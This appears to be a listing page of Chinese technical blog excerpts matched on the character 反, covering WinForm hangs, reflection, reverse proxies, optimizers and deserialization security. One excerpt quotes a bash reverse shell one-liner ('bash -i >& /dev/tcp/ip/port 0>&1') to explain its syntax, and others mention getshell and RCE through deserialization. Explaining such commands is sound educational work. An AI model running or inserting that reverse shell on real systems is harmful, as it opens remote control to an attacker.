一个超经典 WinForm 卡死问题的再反思

一:背景 1.讲故事 这篇文章起源于昨天的一位朋友发给我的dump文件,说它的程序出现了卡死,看了下程序的主线程栈,居然又碰到了 OnUserPreferenceChanged 导致的挂死问题,真的是经典中的经典,线程栈如下: 0:000:x86> !clrstack OS Thread Id: 0

.NET程序的 GDI句柄泄露 的再反思

## 一:背景 ### 1. 讲故事 上个月我写过一篇 [如何洞察 C# 程序的 GDI 句柄泄露](https://www.cnblogs.com/huangxincheng/p/17474733.html) 文章,当时用的是 GDIView + WinDbg 把问题搞定,前者用来定位泄露资源,后

一个超经典 WinForm 卡死问题的最后一次反思

## 一:背景 ### 1. 讲故事 在我分析的 200+ dump 中,同样会遵循着 28原则,总有那些经典问题总是反复的出现,有很多的朋友就是看了这篇 [一个超经典 WinForm 卡死问题的再反思](https://www.cnblogs.com/huangxincheng/p/1686848

《复盘:对过去的事情做思维演练》读书笔记

复盘是对过去所作的事情进行回顾、反思和探究,找出原因,找到规律,从而指导我们解决问题,帮助我们提升。对于复盘来说,回顾、反思、探究、提升,一个都不能少。 复盘的由来 复盘,原本是围棋中的一个术语。当下完一盘棋之后,要重新再棋盘上走一遍,看看哪些子下的好,哪些子下得不好,哪些地方可以有不同甚至更好的下

iOS开发之弹窗管理

前言 “千淘万漉虽辛苦,吹尽狂沙始到金。”在这快速变化的互联网行业,身边的朋友有的选择了勇敢创业,有的则在技术的海洋中默默耕耘。时常在深夜反思,作为一个开发者,我们的价值何在?答案或许就在那行代码中,润物细无声。以下是我在日常开发中封装的一个弹窗管理工具——CLPopoverManager,希望能为

《一个程序猿的生命周期》-《发展篇》- 46.2000万预算的项目,为什么跟踪15个月失败了

给我们带来最直接的感受是:看似前景很美好,实质上却很卷。最应该反思和总结的是:尊重价值规律,在价值规律的原则下做事是否具备合理性,这是走的更远的基本保障,但是又很难做到。

如何在2023年开启React项目

在这里,我想给你一个新的React项目入门的简要概述。我想反思一下优点和缺点,反思一下作为一个开发者所需要的技术水平,反思一下作为一个React开发者,每个启动项目都能为你提供哪些功能。最后,你将了解到针对不同需求的3种解决方案。 **免责声明**:从个人开发者的角度来看,我完全支持React团队在

JDV背后的技术-助力618

基于本次618大促JDV平台支持大促过程中的表现,共从大促总结、能力沉淀、待提升项3个方向也进行了相应总结和反思。

DevOps| 研发效能和PMO如何合作共赢?

项目经理(PMO)对于大组织、跨团队高效协同有着不可替代的作用。跳出组织架构的束缚,横向推动公司级别的大项目向前推进,跟进进展和拿到结果,PMO的小伙伴有着独特的优势。 我之前写过小团队如何高效协作的一篇文章《 高效能敏捷交付团队反思:特性团队(FeatureTeam)+Scrum》,还写过一篇关于

php反序列化个人笔记

反序列化 什么是反序列化? 格式转换 序列化:对象转换为字符串或者数组等格式 反序列化:将数组或字符串转换成对象 为什么会出现安全漏洞? 魔术方法 如何利用漏洞? 通过构造pop链,找到代码的逻辑漏洞,进行getshell,rce等操作 反序列化利用分为三类 魔术方法的调用逻辑 语言原生类的调用逻辑

Nginx反向代理总结

反向代理的种类 1. LVS的方案 2. DNS轮询的方案 3. Nginx的4层代理 4. Nginx的7层代理 5. 网络NAT的处理 Nginx的反向代理-四层` 编译时增加 --with-stream 就可以. 然后可以使用 stream 四层反向代理 可以代理 mysql redis 以及

4款免费且实用的.NET反编译工具

反编译工具的作用 .NET反编译工具能够将已经编译好的.NET程序集转换为易于理解的源代码,它们可以帮助开发人员恢复丢失的源代码、理解和分析第三方组件dll、学习其他人的代码、更好的查找修复 bug 或进行逆向工程等(注意:请在法律允许范围内合理使用)。 ILSpy ILSpy是一款免费、开源的 .

【pandas小技巧】--反转行列顺序

反转`pandas` `DataFrame`的行列顺序是一种非常实用的操作。在实际应用中,当我们需要对数据进行排列或者排序时,通常会使用到Pandas的行列反转功能。这个过程可以帮助我们更好地理解数据集,发现其中的规律和趋势。同时,行列反转还可以帮助我们将数据可视化,使得图表更加易于理解。 除了常规

深度学习(十四)——优化器

反向传播可以求出神经网路中每个需要调节参数的梯度,优化器可以根据梯度进行调整,达到降低整体误差的作用。本节我们对优化器进行介绍。

CTF反序列化wp(ciscn,nss,ctfshowweb入门)

[CISCN 2023 华北]ez_date 题目:

nc反弹中 &>、0>&1是什么意思

1.简介 本文结合一些参考文章以及作者个人理解解释Linux的bash反弹命令中的 &>、0>&1 观点有误,欢迎指出! 目标讨论命令:bash -i >& /dev/tcp/ip/port 0>&1 2.基本知识 1. bash bash是什么? 是一种shell。 shell是什么? 此处引用h

C#反射

目录C#反射概述语法应用场景总结引用 C#反射 概述 C# 反射(Reflection)是一种强大的机制,它允许程序在运行时访问和操作 .NET 程序集中的类型和成员。 获取程序集、模块 和类型成员信息,三者关系介绍请查看。 语法 反射的核心概念是 Type 对象。Type 对象表示一个 .NET

MindSpore反向传播配置关键字参数

继上一篇文章从Torch的两个Issue中找到一些类似的问题之后,可以发现深度学习框架对于自定义反向传播函数中的传参还是比较依赖于必备参数,而不是关键字参数,MindSpore深度学习框架也是如此。但是我们可以使用一些临时的解决方案,对此问题进行一定程度上的规避,只要能够自定义的传参顺序传入关键字参...

Resin反序列化链分析

前言 Resin是一个轻量级的、高性能的开源Java应用服务器。它是由Caucho Technology开发的,旨在提供可靠的Web应用程序和服务的运行环境。和Tomcat一样是个服务器,它和hessian在一个group里,所以有一定的联系

自古以来,反射也是兵家必争之地

这几天收到一个战术性需求,将一大坨字段序列化为特定格式的字符串。 大概是下表这样: | 序号 |字段名 | 描述 | 是否必填 | | | | | | | 0|logVersion | 日志版本 | 是 | | 1|productName| 产品 | 是 | | 2|serviceName| 服务